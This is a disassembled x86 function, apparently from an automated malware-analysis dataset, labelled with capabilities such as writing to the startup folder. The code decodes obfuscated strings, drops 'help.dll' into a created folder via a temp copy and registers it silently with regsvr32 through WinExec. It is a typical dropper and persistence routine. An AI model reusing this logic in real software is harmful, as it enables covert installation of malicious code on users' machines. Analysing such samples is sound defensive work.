Function at 0x4109ed
Capabilities:
Copy file
Create directory
Create process on windows
Delete file
Get common file path
Get startup folder
Write file to startup folder

Disassembly:
push 0x4c0
mov eax, 0x43be22
call fcn.0042408c
mov edi, ecx
mov ebx, 0x43e420
push ebx
lea esi, [edi + 0x304]
call fcn.004238d0
pop ecx
push eax
push ebx
push dword [esi + 0x10]
xor ebx, ebx
push ebx
mov ecx, esi
call fcn.00404930
test eax, eax
jne 0x410e38
mov esi, 0x43e424
push esi
mov dword [ebp - 0x43c], 7
mov dword [ebp - 0x440], ebx
mov word [ebp - 0x450], ax
call fcn.00423fa4
pop ecx
push eax
push esi
lea ecx, [ebp - 0x450]
call fcn.00411854
mov esi, str.693vg1hh
push esi
mov dword [ebp - 4], ebx
call fcn.00423fa4
pop ecx
push eax
push esi
lea ecx, [ebp - 0x450]
call fcn.00411854
mov ecx, ebx
cmp dword [ebp - 0x440], ecx
jbe 0x410aa3
cmp dword [ebp - 0x43c], 8
lea eax, [ebp - 0x450]
cmovae eax, dword [ebp - 0x450]
mov edx, 0xfffd
add word [eax + ecx*2], dx
inc ecx
cmp ecx, dword [ebp - 0x440]
jb 0x410a7d
xor eax, eax
mov esi, str.232dd1g31
push esi
mov dword [ebp - 0x46c], 7
mov dword [ebp - 0x470], ebx
mov word [ebp - 0x480], ax
call fcn.00423fa4
pop ecx
push eax
push esi
lea ecx, [ebp - 0x480]
call fcn.00411854
mov esi, str.582vtc0gzg
push esi
mov byte [ebp - 4], 1
call fcn.00423fa4
pop ecx
push eax
push esi
lea ecx, [ebp - 0x480]
call fcn.00411854
mov ecx, ebx
cmp dword [ebp - 0x470], ecx
jbe 0x410b22
cmp dword [ebp - 0x46c], 8
lea eax, [ebp - 0x480]
cmovae eax, dword [ebp - 0x480]
mov edx, 0xfffe
add word [eax + ecx*2], dx
inc ecx
cmp ecx, dword [ebp - 0x470]
jb 0x410afc
sub esp, 0x18
lea eax, [ebp - 0x480]
mov ecx, esp
push eax
call fcn.0040f1ba
call fcn.00419bf5
add esp, 0x18
test eax, eax
jne 0x410e1c
sub esp, 0x18
lea eax, [ebp - 0x450]
mov ecx, esp
push eax
call fcn.0040f1ba
call fcn.00419bf5
add esp, 0x18
test eax, eax
jne 0x410e1c
push ebx
push 0x1c
lea eax, [ebp - 0x420]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
xor eax, eax
mov dword [ebp - 0x424], 7
mov dword [ebp - 0x428], ebx
mov word [ebp - 0x438], ax
cmp word [ebp - 0x420], ax
jne 0x410b9b
mov eax, ebx
jmp 0x410ba8
lea eax, [ebp - 0x420]
push eax
call fcn.00423fa4
pop ecx
push eax
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x438]
call fcn.00411854
mov esi, str.Help
push esi
mov byte [ebp - 4], 2
call fcn.00423fa4
pop ecx
push eax
push esi
lea ecx, [ebp - 0x438]
call fcn.004116f7
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
cmovae eax, dword [ebp - 0x438]
push ebx
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
mov esi, str.help.dll
push esi
call fcn.00423fa4
pop ecx
push eax
push esi
lea ecx, [ebp - 0x438]
call fcn.004116f7
xor eax, eax
push 0x206
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push ebx
push eax
call fcn.00424520
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
mov dword [ebp - 0x454], 7
mov dword [ebp - 0x458], ebx
mov word [ebp - 0x468], ax
cmp word [ebp - 0x218], ax
jne 0x410c64
mov eax, ebx
jmp 0x410c71
lea eax, [ebp - 0x218]
push eax
call fcn.00423fa4
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x468]
call fcn.00411854
mov esi, str.helper.dll
push esi
mov byte [ebp - 4], 3
call fcn.00423fa4
pop ecx
push eax
push esi
lea ecx, [ebp - 0x468]
call fcn.004116f7
lea eax, [edi + 0x31c]
cmp dword [eax + 0x14], 0x10
jb 0x410caf
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x4b0]
push eax
call fcn.00419eaa
push 0x44
mov byte [ebp - 4], 4
call fcn.00421977
add esp, 0xc
mov dword [ebp - 0x4cc], eax
mov byte [ebp - 4], 5
test eax, eax
je 0x410cf2
push ebx
lea ecx, [ebp - 0x4b0]
push ecx
lea ecx, [ebp - 0x468]
push ecx
mov ecx, eax
call fcn.00417250
mov esi, eax
jmp 0x410cf4
mov esi, ebx
mov ecx, esi
mov byte [ebp - 4], 4
mov byte [esi + 0xd], 1
call fcn.0041104d
push 0xffffffffffffffff
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 8
pop esi
cmp dword [ebp - 0x424], esi
lea ecx, [ebp - 0x438]
cmovae ecx, dword [ebp - 0x438]
cmp dword [ebp - 0x454], esi
push ebx
lea eax, [ebp - 0x468]
cmovae eax, dword [ebp - 0x468]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp dword [ebp - 0x454], esi
lea eax, [ebp - 0x468]
cmovae eax, dword [ebp - 0x468]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.regsvr32__s__
lea ecx, [ebp - 0x498]
call fcn.00403490
cmp dword [ebp - 0x424], esi
lea eax, [ebp - 0x438]
cmovae eax, dword [ebp - 0x438]
push eax
lea eax, [ebp - 0x4c8]
push eax
mov byte [ebp - 4], 6
call fcn.0041c85d
pop ecx
pop ecx
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x498]
mov byte [ebp - 4], 7
call fcn.0040b3b0
lea ecx, [ebp - 0x4c8]
mov byte [ebp - 4], 6
call fcn.00403560
mov esi, 0x445e1c
push esi
call fcn.004238d0
pop ecx
push eax
push esi
lea ecx, [ebp - 0x498]
call fcn.0040df50
cmp dword [ebp - 0x484], 0x10
lea eax, [ebp - 0x498]
cmovae eax, dword [ebp - 0x498]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
lea ecx, [ebp - 0x498]
call fcn.00403560
push ebx
push 1
lea ecx, [ebp - 0x4b0]
call fcn.0041157d
push ebx
push 1
lea ecx, [ebp - 0x468]
call fcn.0041157d
push ebx
push 1
lea ecx, [ebp - 0x438]
call fcn.0041157d
push ebx
push 1
lea ecx, [ebp - 0x480]
call fcn.0041157d
push ebx
push 1
lea ecx, [ebp - 0x450]
call fcn.0041157d
call fcn.0042403b
ret